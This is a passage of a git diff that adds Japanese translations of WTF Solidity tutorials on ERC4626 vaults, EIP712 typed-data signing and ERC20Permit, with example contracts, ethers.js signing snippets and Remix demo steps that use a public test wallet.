償還関数:ownerアドレスがshares数量の金庫持分を破棄し、その後コントラクトがassets単位の基礎資産をreceiverアドレスに送信 + * - Withdrawイベントを発行 + * - 金庫持分がすべて破棄できない場合、revert + */ + function redeem(uint256 shares, address receiver, address owner) external returns (uint256 assets); + + /*////////////////////////////////////////////////////////////// + 会計ロジック + //////////////////////////////////////////////////////////////*/ + + /** + * @dev 金庫で管理されている基礎資産トークンの総額を返す + * - 利息を含める必要があります + * - 手数料を含める必要があります + * - revertしてはいけません + */ + function totalAssets() external view returns (uint256 totalManagedAssets); + + /** + * @dev 一定数額の基礎資産で交換できる金庫持分を返す + * - 手数料を含めないでください + * - スリッページを含めません + * - revertしてはいけません + */ + function convertToShares(uint256 assets) external view returns (uint256 shares); + + /** + * @dev 一定数額の金庫持分で交換できる基礎資産を返す + * - 手数料を含めないでください + * - スリッページを含めません + * - revertしてはいけません + */ + function convertToAssets(uint256 shares) external view returns (uint256 assets); + + /** + * @dev 現在のオンチェーン環境で一定数額の基礎資産を預金して得られる金庫持分をオンチェーンとオフチェーンユーザーがシミュレートするため + * - 戻り値は同じトランザクションで預金して得られる金庫持分に近く、それを超えてはいけません + * - maxDepositなどの制限を考慮せず、ユーザーの預金トランザクションが成功すると仮定 + * - 手数料を考慮してください + * - revertしてはいけません + * NOTE: convertToAssetsとpreviewDeposit戻り値の差でスリッページを計算できます + */ + function previewDeposit(uint256 assets) external view returns (uint256 shares); + + /** + * @dev 現在のオンチェーン環境でshares数額の金庫持分を鋳造するのに必要な基礎資産数量をオンチェーンとオフチェーンユーザーがシミュレートするため + * - 戻り値は同じトランザクションで一定数額の金庫持分を鋳造するのに必要な預金数量に近く、それを下回ってはいけません + * - maxMintなどの制限を考慮せず、ユーザーの預金トランザクションが成功すると仮定 + * - 手数料を考慮してください + * - revertしてはいけません + */ + function previewMint(uint256 shares) external view returns (uint256 assets); + + /** + * @dev 現在のオンチェーン環境でassets数額の基礎資産を引き出すのに必要な金庫持分をオンチェーンとオフチェーンユーザーがシミュレートするため + * - 戻り値は同じトランザクションで一定数額の基礎資産を引き出すのに必要な償還金庫持分に近く、それを超えてはいけません + * - maxWithdrawなどの制限を考慮せず、ユーザーの引き出しトランザクションが成功すると仮定 + * - 手数料を考慮してください + * - revertしてはいけません + */ + function previewWithdraw(uint256 assets) external view returns (uint256 shares); + + /** + * @dev 現在のオンチェーン環境でshares数額の金庫持分を破棄して償還できる基礎資産数量をオンチェーンとオフチェーンユーザーがシミュレートするため + * - 戻り値は同じトランザクションで一定数額の金庫持分を破棄して償還できる基礎資産数量に近く、それを下回ってはいけません + * - maxRedeemなどの制限を考慮せず、ユーザーの償還トランザクションが成功すると仮定 + * - 手数料を考慮してください + * - revertしてはいけません + */ + function previewRedeem(uint256 shares) external view returns (uint256 assets); + + /*////////////////////////////////////////////////////////////// + 預金/引き出し限度ロジック + //////////////////////////////////////////////////////////////*/ + /** + * @dev あるユーザーアドレスの一回の預金で預けられる最大基礎資産数額を返す + * - 預金上限がある場合、戻り値は有限値であるべきです + * - 戻り値は2 ** 256 - 1を超えてはいけません + * - revertしてはいけません + */ + function maxDeposit(address receiver) external view returns (uint256 maxAssets); + + /** + * @dev あるユーザーアドレスの一回の鋳造で鋳造できる最大金庫持分を返す + * - 鋳造上限がある場合、戻り値は有限値であるべきです + * - 戻り値は2 ** 256 - 1を超えてはいけません + * - revertしてはいけません + */ + function maxMint(address receiver) external view returns (uint256 maxShares); + + /** + * @dev あるユーザーアドレスの一回の引き出しで引き出せる最大基礎資産持分を返す + * - 戻り値は有限値であるべきです + * - revertしてはいけません + */ + function maxWithdraw(address owner) external view returns (uint256 maxAssets); + + /** + * @dev あるユーザーアドレスの一回の償還で破棄できる最大金庫持分を返す + * - 戻り値は有限値であるべきです + * - 他の制限がない場合、戻り値はbalanceOf(owner)であるべきです + * - revertしてはいけません + */ + function maxRedeem(address owner) external view returns (uint256 maxShares); +} +``` + +### ERC4626 コントラクト + +以下では、極簡版のトークン化金庫コントラクトを実装します: +- コンストラクタは基礎資産のコントラクトアドレス、金庫持分のトークン名とシンボルを初期化します。注意:金庫持分のトークン名とシンボルは基礎資産と関連付ける必要があります(例:基礎資産が`WTF`の場合、金庫持分は`vWTF`が良い)。 +- 預金時、ユーザーが金庫に`x`単位の基礎資産を預けると、`x`単位(等量)の金庫持分が鋳造されます。 +- 引き出し時、ユーザーが`x`単位の金庫持分を破棄すると、`x`単位(等量)の基礎資産が引き出されます。 + +**注意**:実際の使用時には、会計ロジック関連関数の計算が切り上げか切り下げか特に注意する必要があります。[openzeppelin](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/extensions/ERC4626.sol)と[solmate](https://github.com/transmissions11/solmate/blob/main/src/mixins/ERC4626.sol)の実装を参考にできます。本節の教学例では考慮しません。 + +```solidity +// SPDX-License-Identifier: MIT +pragma solidity >=0.8.0; + +import {IERC4626} from "./IERC4626.sol"; +import {ERC20, IERC20Metadata} from "@openzeppelin/contracts/token/ERC20/ERC20.sol"; + +/** + * @dev ERC4626 "トークン化金庫標準"コントラクト、教学用のみ、本番使用不可 + */ +contract ERC4626 is ERC20, IERC4626 { + /*////////////////////////////////////////////////////////////// + 状態変数 + //////////////////////////////////////////////////////////////*/ + ERC20 private immutable _asset; + uint8 private immutable _decimals; + + constructor( + ERC20 asset_, + string memory name_, + string memory symbol_ + ) ERC20(name_, symbol_) { + _asset = asset_; + _decimals = asset_.decimals(); + + } + + /** @dev See {IERC4626-asset}. */ + function asset() public view virtual override returns (address) { + return address(_asset); + } + + /** + * See {IERC20Metadata-decimals}. + */ + function decimals() public view virtual override(IERC20Metadata, ERC20) returns (uint8) { + return _decimals; + } + + /*////////////////////////////////////////////////////////////// + 預金/引き出しロジック + //////////////////////////////////////////////////////////////*/ + /** @dev See {IERC4626-deposit}. */ + function deposit(uint256 assets, address receiver) public virtual returns (uint256 shares) { + // previewDeposit()を利用して得られる金庫持分を計算 + shares = previewDeposit(assets); + + // 先transfer後mint、再入攻撃を防ぐ + _asset.transferFrom(msg.sender, address(this), assets); + _mint(receiver, shares); + + // Depositイベントを発行 + emit Deposit(msg.sender, receiver, assets, shares); + } + + /** @dev See {IERC4626-mint}. */ + function mint(uint256 shares, address receiver) public virtual returns (uint256 assets) { + // previewMint()を利用して預金が必要な基礎資産数額を計算 + assets = previewMint(shares); + + // 先transfer後mint、再入攻撃を防ぐ + _asset.transferFrom(msg.sender, address(this), assets); + _mint(receiver, shares); + + // Depositイベントを発行 + emit Deposit(msg.sender, receiver, assets, shares); + + } + + /** @dev See {IERC4626-withdraw}. */ + function withdraw( + uint256 assets, + address receiver, + address owner + ) public virtual returns (uint256 shares) { + // previewWithdraw()を利用して破棄される金庫持分を計算 + shares = previewWithdraw(assets); + + // 呼び出し者がownerでない場合、承認をチェックして更新 + if (msg.sender != owner) { + _spendAllowance(owner, msg.sender, shares); + } + + // 先破棄後transfer、再入攻撃を防ぐ + _burn(owner, shares); + _asset.transfer(receiver, assets); + + // Withdrawイベントを発行 + emit Withdraw(msg.sender, receiver, owner, assets, shares); + } + + /** @dev See {IERC4626-redeem}. */ + function redeem( + uint256 shares, + address receiver, + address owner + ) public virtual returns (uint256 assets) { + // previewRedeem()を利用して償還できる基礎資産数額を計算 + assets = previewRedeem(shares); + + // 呼び出し者がownerでない場合、承認をチェックして更新 + if (msg.sender != owner) { + _spendAllowance(owner, msg.sender, shares); + } + + // 先破棄後transfer、再入攻撃を防ぐ + _burn(owner, shares); + _asset.transfer(receiver, assets); + + // Withdrawイベントを発行 + emit Withdraw(msg.sender, receiver, owner, assets, shares); + } + + /*////////////////////////////////////////////////////////////// + 会計ロジック + //////////////////////////////////////////////////////////////*/ + /** @dev See {IERC4626-totalAssets}. */ + function totalAssets() public view virtual returns (uint256){ + // コントラクト内の基礎資産持有量を返す + return _asset.balanceOf(address(this)); + } + + /** @dev See {IERC4626-convertToShares}. */ + function convertToShares(uint256 assets) public view virtual returns (uint256) { + uint256 supply = totalSupply(); + // supplyが0の場合、1:1で金庫持分を鋳造 + // supplyが0でない場合、比例して鋳造 + return supply == 0 ? assets : assets * supply / totalAssets(); + } + + /** @dev See {IERC4626-convertToAssets}. */ + function convertToAssets(uint256 shares) public view virtual returns (uint256) { + uint256 supply = totalSupply(); + // supplyが0の場合、1:1で基礎資産を償還 + // supplyが0でない場合、比例して償還 + return supply == 0 ? shares : shares * totalAssets() / supply; + } + + /** @dev See {IERC4626-previewDeposit}. */ + function previewDeposit(uint256 assets) public view virtual returns (uint256) { + return convertToShares(assets); + } + + /** @dev See {IERC4626-previewMint}. */ + function previewMint(uint256 shares) public view virtual returns (uint256) { + return convertToAssets(shares); + } + + /** @dev See {IERC4626-previewWithdraw}. */ + function previewWithdraw(uint256 assets) public view virtual returns (uint256) { + return convertToShares(assets); + } + + /** @dev See {IERC4626-previewRedeem}. */ + function previewRedeem(uint256 shares) public view virtual returns (uint256) { + return convertToAssets(shares); + } + + /*////////////////////////////////////////////////////////////// + 預金/引き出し限度ロジック + //////////////////////////////////////////////////////////////*/ + /** @dev See {IERC4626-maxDeposit}. */ + function maxDeposit(address) public view virtual returns (uint256) { + return type(uint256).max; + } + + /** @dev See {IERC4626-maxMint}. */ + function maxMint(address) public view virtual returns (uint256) { + return type(uint256).max; + } + + /** @dev See {IERC4626-maxWithdraw}. */ + function maxWithdraw(address owner) public view virtual returns (uint256) { + return convertToAssets(balanceOf(owner)); + } + + /** @dev See {IERC4626-maxRedeem}. */ + function maxRedeem(address owner) public view virtual returns (uint256) { + return balanceOf(owner); + } +} +``` + +もちろん、本文の`ERC4626`コントラクトは教学デモンストレーション用のみで、実際の使用時には`Inflation Attack`、`Rounding Direction`などの問題も考慮する必要があります。本番では、`openzeppelin`の具体的な実装を使用することをお勧めします。 + +## `Remix`デモ + +**注意:** 以下の実行例ではremixの第二アカウント、つまり`0xAb8483F64d9C6d1EcF9b849Ae677dD3315835cb2`を使用してコントラクトをデプロイし、コントラクトメソッドを呼び出します。 + +1. `ERC20`トークンコントラクトをデプロイし、トークン名とシンボルを共に`WTF`に設定し、自分に`10000`トークンを鋳造。 +![](./img/51-2-1.png) +![](./img/51-2-2.png) + +2. `ERC4626`トークンコントラクトをデプロイし、基礎資産のコントラクトアドレスを`WTF`のアドレスに設定し、名前とシンボルを共に`vWTF`に設定。 +![](./img/51-3.png) + +3. `ERC20`コントラクトの`approve()`関数を呼び出し、トークンを`ERC4626`コントラクトに承認。 +![](./img/51-4.png) + +4. `ERC4626`コントラクトの`deposit()`関数を呼び出し、`1000`枚のトークンを預金。その後`balanceOf()`関数を呼び出し、自分の金庫持分が`1000`になったことを確認。 +![](./img/51-5.png) + +5. `ERC4626`コントラクトの`mint()`関数を呼び出し、`1000`枚のトークンを預金。その後`balanceOf()`関数を呼び出し、自分の金庫持分が`2000`になったことを確認。 +![](./img/51-6.png) + +6. `ERC4626`コントラクトの`withdraw()`関数を呼び出し、`1000`枚のトークンを引き出し。その後`balanceOf()`関数を呼び出し、自分の金庫持分が`1000`になったことを確認。 +![](./img/51-7.png) + +7. `ERC4626`コントラクトの`redeem()`関数を呼び出し、`1000`枚のトークンを引き出し。その後`balanceOf()`関数を呼び出し、自分の金庫持分が`0`になったことを確認。 +![](./img/51-8.png) + +## まとめ + +今回は、トークン化金庫標準ERC4626について紹介し、基礎資産を1:1で金庫持分トークンに変換できるシンプルな金庫コントラクトを作成しました。ERC4626はDeFiの流動性と組み合わせ可能性を向上させ、今後徐々に普及していくでしょう。あなたはERC4626でどのようなアプリケーションを作りますか? \ No newline at end of file diff --git a/Languages/ja/52_EIP712_ja/readme.md b/Languages/ja/52_EIP712_ja/readme.md new file mode 100644 index 000000000..0386484a1 --- /dev/null +++ b/Languages/ja/52_EIP712_ja/readme.md @@ -0,0 +1,212 @@ +--- +title: 52. EIP712 型付きデータ署名 +tags: + - solidity + - erc20 + - eip712 + - openzepplin +--- + +# WTF Solidity 超シンプル入門: 52. EIP712 型付きデータ署名 + +最近、Solidity の学習を再開し、詳細を確認しながら「Solidity 超シンプル入門」を作っています。これは初心者向けのガイドで、プログラミングの達人向けの教材ではありません。毎週 1〜3 レッスンのペースで更新していきます。 + +僕のツイッター:[@0xAA_Science](https://twitter.com/0xAA_Science)|[@WTFAcademy_](https://twitter.com/WTFAcademy_) + +コミュニティ:[Discord](https://discord.gg/5akcruXrsk)|[Wechat](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[公式サイト wtf.academy](https://wtf.academy) + +すべてのソースコードやレッスンは github にて公開: [github.com/AmazingAng/WTF-Solidity](https://github.com/AmazingAng/WTF-Solidity) + +--- + +今回は、より高度で安全な署名方法である EIP712 型付きデータ署名について紹介します。 + +## EIP712 + +以前、[EIP191 署名標準(personal sign)](https://github.com/AmazingAng/WTF-Solidity/blob/main/37_Signature/readme.md) について紹介しました。これはメッセージに署名することができますが、過度にシンプルです。署名データが複雑な場合、ユーザーは十六進文字列(データのハッシュ)しか見ることができず、署名内容が期待通りかどうかを確認することができません。 + +![image1](./img/52-1.png) + +[EIP712型付きデータ署名](https://eips.ethereum.org/EIPS/eip-712)は、より高度で安全な署名方法です。EIP712 に対応した Dapp が署名を要求すると、ウォレットは署名メッセージの生データを表示し、ユーザーはデータが期待通りであることを確認してから署名することができます。 + +![image2](./img/52-2.png) + +## EIP712 の使用方法 + +EIP712 の応用は一般的にオフチェーン署名(フロントエンドまたはスクリプト)とオンチェーン検証(コントラクト)の2つの部分を含みます。以下では、シンプルな例 `EIP712Storage` を使って EIP712 の使用方法を紹介します。`EIP712Storage` コントラクトには状態変数 `number` があり、EIP712 署名を検証してから変更することができます。 + +### オフチェーン署名 + +1. EIP712 署名には必ず `EIP712Domain` 部分が含まれている必要があります。これにはコントラクトの name、version(一般的に「1」と決められています)、chainId、および verifyingContract(署名を検証するコントラクトアドレス)が含まれます。 + + ```js + EIP712Domain: [ + { name: "name", type: "string" }, + { name: "version", type: "string" }, + { name: "chainId", type: "uint256" }, + { name: "verifyingContract", type: "address" }, + ] + ``` + + これらの情報はユーザーが署名する際に表示され、特定のチェーンの特定のコントラクトのみが署名を検証できることを保証します。スクリプトで対応するパラメータを渡す必要があります。 + + ```js + const domain = { + name: "EIP712Storage", + version: "1", + chainId: "1", + verifyingContract: "0xf8e81D47203A594245E36C48e151709F0C19fBe8", + }; + ``` + +2. 使用場面に応じて署名のデータ型をカスタマイズする必要があり、コントラクトとマッチする必要があります。`EIP712Storage` の例では、`Storage` 型を定義しました。これには2つのメンバーがあります:`address` 型の `spender`(変数を修正できる呼び出し者を指定)、`uint256` 型の `number`(変数修正後の値を指定)。 + + ```js + const types = { + Storage: [ + { name: "spender", type: "address" }, + { name: "number", type: "uint256" }, + ], + }; + ``` + +3. `message` 変数を作成し、署名される型付きデータを渡します。 + + ```js + const message = { + spender: "0x5B38Da6a701c568545dCfcB03FcB875f56beddC4", + number: "100", + }; + ``` + + ![image3](./img/52-3.png) + +4. ウォレットオブジェクトの `signTypedData()` メソッドを呼び出し、前の手順の `domain`、`types`、`message` 変数を渡して署名します(ここでは `ethersjs v6` を使用)。 + + ```js + // providerを取得 + const provider = new ethers.BrowserProvider(window.ethereum) + // signerを取得してsignTypedDataメソッドを呼び出してeip712署名を行う + const signature = await signer.signTypedData(domain, types, message); + console.log("Signature:", signature); + ``` + + ![image4](./img/52-4.png) + +### オンチェーン検証 + +次は `EIP712Storage` コントラクトの部分です。署名を検証し、通過すれば `number` 状態変数を修正します。5つの状態変数があります。 + +1. `EIP712DOMAIN_TYPEHASH`: `EIP712Domain` の型ハッシュ、定数。 +2. `STORAGE_TYPEHASH`: `Storage` の型ハッシュ、定数。 +3. `DOMAIN_SEPARATOR`: 各ドメイン(Dapp)の署名に混合されるユニークな値で、`EIP712DOMAIN_TYPEHASH` および `EIP712Domain`(name、version、chainId、verifyingContract)から構成され、`constructor()` で初期化されます。 +4. `number`: コントラクト内の保存値の状態変数で、`permitStore()` メソッドで修正できます。 +5. `owner`: コントラクトの所有者で、`constructor()` で初期化され、`permitStore()` メソッドで署名の有効性を検証します。 + +また、`EIP712Storage` コントラクトには3つの関数があります。 + +1. コンストラクタ: `DOMAIN_SEPARATOR` と `owner` を初期化します。 +2. `retrieve()`: `number` の値を読み取ります。 +3. `permitStore`: EIP712 署名を検証し、`number` の値を修正します。まず、署名を `r`、`s`、`v` に分解します。次に `DOMAIN_SEPARATOR`、`STORAGE_TYPEHASH`、呼び出し者アドレス、入力された `_num` パラメータを使って署名のメッセージテキスト `digest` を構築します。最後に `ECDSA` の `recover()` メソッドを使って署名者アドレスを復元し、署名が有効であれば `number` の値を更新します。 + +```solidity +// SPDX-License-Identifier: MIT +// By 0xAA +pragma solidity ^0.8.0; + +import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol"; + +contract EIP712Storage { + using ECDSA for bytes32; + + bytes32 private constant EIP712DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"); + bytes32 private constant STORAGE_TYPEHASH = keccak256("Storage(address spender,uint256 number)"); + bytes32 private DOMAIN_SEPARATOR; + uint256 number; + address owner; + + constructor(){ + DOMAIN_SEPARATOR = keccak256(abi.encode( + EIP712DOMAIN_TYPEHASH, // 型ハッシュ + keccak256(bytes("EIP712Storage")), // name + keccak256(bytes("1")), // version + block.chainid, // chain id + address(this) // コントラクトアドレス + )); + owner = msg.sender; + } + + /** + * @dev 変数に値を保存 + */ + function permitStore(uint256 _num, bytes memory _signature) public { + // 署名の長さをチェック、65は標準のr,s,v署名の長度 + require(_signature.length == 65, "invalid signature length"); + bytes32 r; + bytes32 s; + uint8 v; + // 現在、assembly(インラインアセンブリ)のみで署名からr,s,vの値を取得可能 + assembly { + /* + 最初の32bytesは署名の長さを保存(動的配列の保存規則) + add(sig, 32) = sigのポインタ + 32 + signatureの最初の32bytesをスキップすることと同等 + mload(p) メモリアドレスpから開始する次の32bytesのデータをロード + */ + // 長さデータ後の32bytesを読み取る + r := mload(add(_signature, 0x20)) + // その後の32bytesを読み取る + s := mload(add(_signature, 0x40)) + // 最後の1byteを読み取る + v := byte(0, mload(add(_signature, 0x60))) + } + + // 署名メッセージハッシュを取得 + bytes32 digest = keccak256(abi.encodePacked( + "\x19\x01", + DOMAIN_SEPARATOR, + keccak256(abi.encode(STORAGE_TYPEHASH, msg.sender, _num)) + )); + + address signer = digest.recover(v, r, s); // 署名者を復元 + require(signer == owner, "EIP712Storage: Invalid signature"); // 署名をチェック + + // 状態変数を修正 + number = _num; + } + + /** + * @dev 値を返す + * @return 'number'の値 + */ + function retrieve() public view returns (uint256){ + return number; + } +} +``` + +## デプロイと復現 + +1. `Remix` で `EIP712Storage` コントラクトをデプロイします。 + +2. `eip712storage.html` を実行します。ブラウザのコンテンツセキュリティポリシー([Content Security Policy](https://github.com/MetaMask/faq/blob/9257d7d52784afa957c12166aff20682cf692ae5/DEVELOPERS.md#requirements-nut_and_bolt))の要件により、MetaMaskはローカルファイル(file:// プロトコル)を開いてDAppと通信することができません。Node静的ファイルサーバー `http-server` を使用してローカルサービスを開始し、`eip712storage.html` ファイルが含まれるディレクトリで以下のコマンドを実行します: + + ```sh + npm install -g http-server + http-server + ``` + + ブラウザで `http://127.0.0.1:8080` を開くとアクセスできます。その後、`Contract Address` をデプロイした `EIP712Storage` コントラクトアドレスに変更し、順番に `Connect Metamask` と `Sign Permit` ボタンをクリックして署名します。署名にはコントラクトをデプロイしたウォレットを使用する必要があります。例えば Remix テストウォレット: + + ```js + public_key: 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4 + private_key: 503f38a9c967ed597e47fe25643985f032b072db8075426a92110f82df48dfcb + ``` + +3. コントラクトの `permitStore()` メソッドを呼び出し、対応する `_num` と署名を入力して `number` の値を修正します。 + +4. コントラクトの `retrieve()` メソッドを呼び出すと、`number` の値が変更されていることがわかります。 + +## まとめ + +今回は、EIP712 型付きデータ署名について紹介しました。これはより高度で安全な署名標準です。署名を要求する際、ウォレットは署名メッセージの生データを表示し、ユーザーはデータを検証してから署名することができます。この標準は広く応用されており、Metamask、Uniswap token pairs、DAI stablecoin などのシナリオで使用されています。皆さんによく習得していただきたいと思います。 \ No newline at end of file diff --git a/Languages/ja/53_ERC20Permit_ja/readme.md b/Languages/ja/53_ERC20Permit_ja/readme.md new file mode 100644 index 000000000..eb523e63b --- /dev/null +++ b/Languages/ja/53_ERC20Permit_ja/readme.md @@ -0,0 +1,211 @@ +--- +title: 53. ERC-2612 ERC20Permit +tags: + - solidity + - erc20 + - eip712 + - openzepplin +--- + +# WTF Solidity 超シンプル入門: 53. ERC-2612 ERC20Permit + +最近、Solidity の学習を再開し、詳細を確認しながら「Solidity 超シンプル入門」を作っています。これは初心者向けのガイドで、プログラミングの達人向けの教材ではありません。毎週 1〜3 レッスンのペースで更新していきます。 + +僕のツイッター:[@0xAA_Science](https://twitter.com/0xAA_Science)|[@WTFAcademy_](https://twitter.com/WTFAcademy_) + +コミュニティ:[Discord](https://discord.gg/5akcruXrsk)|[Wechat](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[公式サイト wtf.academy](https://wtf.academy) + +すべてのソースコードやレッスンは github にて公開: [github.com/AmazingAng/WTF-Solidity](https://github.com/AmazingAng/WTF-Solidity) + +--- + +今回は、ERC20 トークンの拡張である ERC20Permit について紹介します。これは署名を使用した承認をサポートし、ユーザーエクスペリエンスを改善します。EIP-2612 で提案され、イーサリアム標準に組み込まれ、`USDC`、`ARB` などのトークンで使用されています。 + +## ERC20 + +[31講](https://github.com/AmazingAng/WTF-Solidity/blob/main/31_ERC20/readme.md)でERC20について紹介しました。これはイーサリアムで最も人気のあるトークン標準です。人気の主な理由の一つは、`approve` と `transferFrom` の2つの関数を組み合わせて使用することで、トークンが外部所有アカウント(EOA)間での転送だけでなく、他のコントラクトでも使用できることです。 + +しかし、ERC20の `approve` 関数はトークン所有者のみが呼び出すことができるという制限があります。これは、すべての `ERC20` トークンの初期操作が `EOA` によって実行される必要があることを意味します。例えば、ユーザーAが分散型取引所で `USDT` を `ETH` と交換する場合、2つのトランザクションを完了する必要があります:最初にユーザーAが `approve` を呼び出して `USDT` をコントラクトに承認し、次にユーザーAがコントラクトを呼び出して交換を行います。非常に面倒で、ユーザーはトランザクションのガス代を支払うために `ETH` を持っている必要があります。 + +## ERC20Permit + +EIP-2612は ERC20Permit を提案し、ERC20標準を拡張して `permit` 関数を追加しました。これにより、ユーザーは `msg.sender` ではなく EIP-712 署名を通じて承認を修正できます。これには2つの利点があります: + +1. 承認のステップはユーザーのオフチェーン署名のみが必要で、1つのトランザクションを削減できます。 +2. 署名後、ユーザーは第三者に後続のトランザクションを委託でき、ETHを持つ必要がありません:ユーザーAは署名をガスを持つ第三者Bに送信し、Bに後続のトランザクションの実行を委託できます。 + +![](./img/53-1.png) + +## コントラクト + +### IERC20Permit インターフェースコントラクト + +まず、ERC20Permit のインターフェースコントラクトについて学びましょう。これは3つの関数を定義しています: + +- `permit()`: `owner` の署名に基づいて、`owner` のERC20トークン残高を `spender` に承認し、数量は `value` です。要件: + + - `spender` はゼロアドレスであってはいけません。 + - `deadline` は将来のタイムスタンプである必要があります。 + - `v`、`r`、`s` は `owner` による関数パラメータのEIP712形式の有効な `keccak256` 署名である必要があります。 + - 署名は `owner` の現在のnonceを使用する必要があります。 + +- `nonces()`: `owner` の現在のnonceを返します。`permit()` 関数の署名を生成するたびに、この値を含める必要があります。`permit()` 関数の呼び出しが成功するたびに、`owner` のnonceが1増加し、同じ署名の再利用を防ぎます。 + +- `DOMAIN_SEPARATOR()`: [EIP712](https://github.com/AmazingAng/WTF-Solidity/blob/main/52_EIP712/readme.md) で定義された通り、`permit()` 関数の署名をエンコードするために使用されるドメインセパレータを返します。 + +```solidity +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +/** + * @dev ERC20 Permit拡張のインターフェース、https://eips.ethereum.org/EIPS/eip-2612[EIP-2612]で定義された署名による承認を許可 + */ +interface IERC20Permit { + /** + * @dev ownerの署名に基づいて、`owner`のERC20残高を`spender`に承認、数量は`value` + */ + function permit( + address owner, + address spender, + uint256 value, + uint256 deadline, + uint8 v, + bytes32 r, + bytes32 s + ) external; + + /** + * @dev `owner`の現在のnonceを返す。{permit}の署名を生成する際に、この値を含める必要がある。 + */ + function nonces(address owner) external view returns (uint256); + + /** + * @dev {permit}の署名をエンコードするために使用されるドメインセパレータを返す + */ + // solhint-disable-next-line func-name-mixedcase + function DOMAIN_SEPARATOR() external view returns (bytes32); +} +``` + +### ERC20Permit コントラクト + +次に、シンプルなERC20Permitコントラクトを書きます。これはIERC20Permitで定義されたすべてのインターフェースを実装します。コントラクトには2つの状態変数が含まれています: + +- `_nonces`: `address -> uint` のマッピング、すべてのユーザーの現在のnonce値を記録します。 +- `_PERMIT_TYPEHASH`: 定数、`permit()` 関数の型ハッシュを記録します。 + +コントラクトには5つの関数が含まれています: + +- コンストラクタ: トークンの `name` と `symbol` を初期化します。 +- **`permit()`**: ERC20Permitの最も核心的な関数で、IERC20Permitの `permit()` を実装します。まず署名が期限切れかどうかをチェックし、次に `_PERMIT_TYPEHASH`、`owner`、`spender`、`value`、`nonce`、`deadline` を使って署名メッセージを復元し、署名が有効かどうかを検証します。署名が有効であれば、ERC20の `_approve()` 関数を呼び出して承認操作を行います。 +- `nonces()`: IERC20Permitの `nonces()` 関数を実装します。 +- `DOMAIN_SEPARATOR()`: IERC20Permitの `DOMAIN_SEPARATOR()` 関数を実装します。 +- `_useNonce()`: `nonce` を消費する関数で、ユーザーの現在の `nonce` を返し、1増加させます。 + +```solidity +// SPDX-License-Identifier: MIT + +pragma solidity ^0.8.0; + +import "./IERC20Permit.sol"; +import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; +import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol"; +import "@openzeppelin/contracts/utils/cryptography/EIP712.sol"; + +/** + * @dev ERC20 Permit拡張のインターフェース、https://eips.ethereum.org/EIPS/eip-2612[EIP-2612]で定義された署名による承認を許可。 + * + * {permit}メソッドを追加し、アカウント署名されたメッセージによってアカウントのERC20残高({IERC20-allowance}を参照)を変更可能。{IERC20-approve}に依存しないため、トークンホルダーのアカウントはトランザクションを送信する必要がなく、Etherを全く持つ必要がない。 + */ +contract ERC20Permit is ERC20, IERC20Permit, EIP712 { + mapping(address => uint) private _nonces; + + bytes32 private constant _PERMIT_TYPEHASH = + keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"); + + /** + * @dev EIP712のnameおよびERC20のnameとsymbolを初期化 + */ + constructor(string memory name, string memory symbol) EIP712(name, "1") ERC20(name, symbol){} + + /** + * @dev {IERC20Permit-permit}を参照。 + */ + function permit( + address owner, + address spender, + uint256 value, + uint256 deadline, + uint8 v, + bytes32 r, + bytes32 s + ) public virtual override { + // deadlineをチェック + require(block.timestamp <= deadline, "ERC20Permit: expired deadline"); + + // ハッシュを構築 + bytes32 structHash = keccak256(abi.encode(_PERMIT_TYPEHASH, owner, spender, value, _useNonce(owner), deadline)); + bytes32 hash = _hashTypedDataV4(structHash); + + // 署名とメッセージからsignerを計算し、署名を検証 + address signer = ECDSA.recover(hash, v, r, s); + require(signer == owner, "ERC20Permit: invalid signature"); + + // 承認 + _approve(owner, spender, value); + } + + /** + * @dev {IERC20Permit-nonces}を参照。 + */ + function nonces(address owner) public view virtual override returns (uint256) { + return _nonces[owner]; + } + + /** + * @dev {IERC20Permit-DOMAIN_SEPARATOR}を参照。 + */ + function DOMAIN_SEPARATOR() external view override returns (bytes32) { + return _domainSeparatorV4(); + } + + /** + * @dev "nonceを消費": `owner`の現在の`nonce`を返し、1増加させる。 + */ + function _useNonce(address owner) internal virtual returns (uint256 current) { + current = _nonces[owner]; + _nonces[owner] += 1; + } +} +``` + +## Remix 復現 + +1. `ERC20Permit` コントラクトをデプロイし、`name` と `symbol` をともに `WTFPermit` に設定します。 + +2. `signERC20Permit.html` を実行し、`Contract Address` をデプロイした `ERC20Permit` コントラクトアドレスに変更し、その他の情報は以下で提供します。その後、順番に `Connect Metamask` と `Sign Permit` ボタンをクリックして署名し、コントラクト検証のために `r`、`s`、`v` を取得します。署名にはコントラクトをデプロイしたウォレットを使用する必要があります。例えば Remix テストウォレット: + + ```js + owner: 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4 spender: 0xAb8483F64d9C6d1EcF9b849Ae677dD3315835cb2 + value: 100 + deadline: 115792089237316195423570985008687907853269984665640564039457584007913129639935 + private_key: 503f38a9c967ed597e47fe25643985f032b072db8075426a92110f82df48dfcb + ``` + +![](./img/53-2.png) + +3. コントラクトの `permit()` メソッドを呼び出し、対応するパラメータを入力して承認を行います。 + +4. コントラクトの `allowance()` メソッドを呼び出し、対応する `owner` と `spender` を入力すると、承認が成功したことがわかります。 + +## セキュリティに関する注意 + +ERC20Permitはオフチェーン署名による承認でユーザーに利便性をもたらしましたが、同時にリスクも生じました。一部のハッカーはこの特性を利用してフィッシング攻撃を行い、ユーザーの署名を騙し取って資産を盗みます。2023年4月のUSDCに対する署名[フィッシング攻撃](https://twitter.com/0xAA_Science/status/1652880488095440897?s=20)では、あるユーザーが228万Uの資産を失いました。 + +**署名時は、署名内容を慎重に読むことが重要です!** + 